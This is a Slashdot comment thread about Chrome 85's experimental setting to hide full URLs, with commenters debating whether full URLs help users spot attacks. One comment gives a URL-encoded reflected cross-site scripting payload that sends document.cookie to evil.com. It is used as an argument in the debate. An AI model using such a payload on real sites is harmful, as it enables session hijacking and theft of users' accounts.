Google adds experimental setting to hide full URLs in Chrome 85 address bar

Re:Google adds experimental setting to hide full URLs in Chr... by vntok on Sunday June 14, 2020 @10:54AM (#23518069)

A better comparison would be mybank.com/logmein vs mybank.com/login vs mybank.com/l.jx?s=AU8NE6FX5IKMD2

And no, users do not need to care the slightest whether they go to the first, second or 3rd URL. What they care about is that they are entering their sensitive information on mybank.com's domain and not a russian counterpart, that's it.

[ Parent | on HN ]

Re:Google adds experimental setting to hide full URLs in Chr... by saagarjha on Sunday June 14, 2020 @01:51PM (#23519682)

How about mybank.com/login?reflect=%3Cscript%3Enew%20Image().src=%22http://evil.com%22%20+%20document.cookie%3C/script%3E

[ Parent | on HN ]

Re:Google adds experimental setting to hide full URLs in Chr... by vntok on Sunday June 14, 2020 @02:20PM (#23519935)

That URL is utterly indecipherable by 99.99% of Internet users, so displaying it in full does absolutely nothing to protect users.

The onus to protect against a website takeover is on the domain/server owner, certainly not on the browser vendor although they try to mitigate simple attack vectors.

edit: added a few 9s

[ Parent | on HN ]

Re:Google adds experimental setting to hide full URLs in Chr... by takeda on Sunday June 14, 2020 @03:24PM (#23520547)

Well, it switches that 99.99% to 100% now, so a step backwards.

They already used colors to de-emphasize other components, this doesn't look like anything else than pushing people to rely more on google search.

[ Parent | on HN ]

Re:Google adds experimental setting to hide full URLs in Chr... by shadowgovt on Sunday June 14, 2020 @03:39PM (#23520663)

> Well, it switches that 99.99% to 100% now, so a step backwards.

Refraining from collecting malicious links happens before you click, by the time it's in the URL bar it's already pretty late to mitigate against attacks.

[ Parent | on HN ]